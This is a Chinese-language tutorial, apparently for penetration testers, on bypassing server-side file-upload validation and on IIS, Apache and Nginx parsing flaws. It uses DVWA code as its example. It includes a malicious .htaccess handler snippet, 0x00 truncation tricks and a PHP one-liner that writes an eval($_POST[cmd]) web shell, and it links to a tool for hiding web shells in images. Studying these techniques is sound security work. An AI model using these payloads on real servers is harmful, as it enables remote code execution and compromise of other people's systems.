前言
上一篇文章簡單的介紹了繞過客戶端檢測,現在總結一下其他方式繞過。
正文
1.1 服務端MIME類型檢測繞過
檢測原理:用戶上傳文件時,服務器會獲取這個文件的MIME值,與事先設置好的進行比對,如果不一致,說明上傳文件非法。
咱們查看一下源代碼,代碼來源與DVWA
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
通過分析第16行代碼可以知道,我們將content-type 值改為image/jpeg,image/png,就可以繞過,因為頁面不顯示,咱們需要通過抓包工具進行修改。
1.2 服務端文件擴展名檢測繞過
1.2.1 黑名單檢測繞過
在我們的web程序中,一般有個blacklist文件,里面會包含常見的危險腳本文件,不過這種黑名單相當不靠譜,一般會包含下圖這些。可以使用各種方法繞過。
一,文件大小寫繞過
只要把我們把后綴改為 pHp,Asp等就可以嘗試繞過。
二,名單列表繞過
可以嘗試使用黑名單沒有的一些后綴名,如 asa cer 等等
三,特殊文件名繞過
我們可是使用 xxx.asp. 或者 xxx.asp_ 等等,這樣的命名方式,再Windows系統里是不行的,需要抓包修改。繞過驗證后,Windows系統會自動去掉下滑線等。需要注意的是Unix和Linux沒有這種特性,因為他們不區分大小寫。
四,0x00 截斷繞過
這里的00對應的是16進制里面的,相當於一個空格,當系統讀取到設置的那里就會停止向下讀取。實現咱們的目的。比如上傳php.php.png 文件,里面包含一句話木馬,我們只需要將第二個小黑點改為空格,也就是將16進制的2e 改為00
五, .htaccess文件攻擊
這個就比較邪惡了,如果可以上傳.htaccess文件的話,文件里面輸入如下內容
<FilesMatch "shuaige"> SetHandler application/x-httpd-php </FilesMatch>
然后再上傳一個文件,不需要后綴名,文件名沒要求,需要注意的是這個文件不僅要包含一句話木馬,還要有.htaccess里面的"shuaige" ,之后通過菜刀連接就可以了。
1.2.2 白名單檢測繞過
白名單相對於黑名單安全很多,方法相對也較少,可以嘗試.htaccess上傳攻擊。
1.3 服務端文件內容檢測繞過
如果對文件內容檢測較為嚴格,可以在圖片中插入一句話木馬,如果手工插的話可能破壞圖片結構,推薦使用工具插入,比如 edjpgcom ,只需要將托向它,它會彈出一個框框,在里面輸入一句話木馬就可以了。工具需要的自行下載。工具只支持 jpg格式的圖片
鏈接:https://pan.baidu.com/s/1nDogyIOAXvAR_OxQraALpw 提取碼:gtwn
拖入后,寫入一句話木馬,記事本打開圖片查看,發現完美插入圖片中
2.1 解析漏洞
一,IIS5.x-6.x解析漏洞
這個比較古老了,這個解析漏洞只能解析.asp文件,對aspx沒辦法。
1)目錄解析
在服務器中,如果有個.asp后綴的目錄,此目錄下的任何格式,都會以.asp腳本執行,如
http://www.hahaha.com/haha.asp/ha.png
2) 文件解析
如果在一個文件asp后綴加一個分號,在接.png 上傳成功后,服務器解析分號前就會停止解析,就說明ha.asp;.png會當做ha.asp文件執行
http://www.hahaha.com/ha.asp;.png
3) 解析文件類型
IIS6.0 默認的可執行文件有asp、asa、cer、cdx四種。
二,Apache解析漏洞
Apache解析文件的順序是從右向左,如果右邊的格式它不認識,就會依次向左判斷,如果一個文件名為 xxx.php.rar.zip,因為Apache 不認識“rar”和“zip”,所以文件最后會以xxx.php執行。
http://www.hahaha.com/ha.php.rar.zip
三,Nginx解析漏洞
1)Nginx中php配置錯誤導致的解析漏洞
我們來構造一個URL ,xxx/123.png/456.php(456.php是咱們瞎寫的,里面沒內容,木馬在123.png里面,Nginx一看后綴是php,就交給php處理了,php處理發現456.php沒有,刪掉這個繼續向前解析,然后會將咱們的123.png執行(php比較老的版本才會執行)
這其中涉及到php的一個選項:cgi.fix_pathinfo,它默認是開啟的,看名字就知道這是和文件路徑有關,舉個例子,111.php/222.php/333.php/,如果它找不到這個文件,會去掉最后333.php,執行111.php/222.php 如果沒有,繼續剛才的操作。
這個選項可以在配置文件php.ini中關閉,但是關閉可能會遇到各種問題,所以在后來的新版的php中,引入了“security.limit_extensions”,他的功能是默認只執行.php文件,所以在現在的版本php版本中,基本很難被利用了。
2)Nginx(<8.03)畸形解析漏洞
在默認FAST-GGI開啟情況下,我們上傳一個xxx.jpg的文件,里面代碼如下
<?PHP fputs(fopen('shell.php','w'),'<?php eval ($_POST[cmd])?>');?>
然后訪問xxx.jpg/.php,在這個目錄下就會生成 shell.php
3) Nginx(<8.03) 空字節代碼執行漏洞
這個也是在圖片中插入代碼,並且命名為xxx.jpg ,直接訪問 xxx.jpg%00.php來執行其中的代碼。
最后,這里有一個流程圖,測試的時候可以按照這個思路走。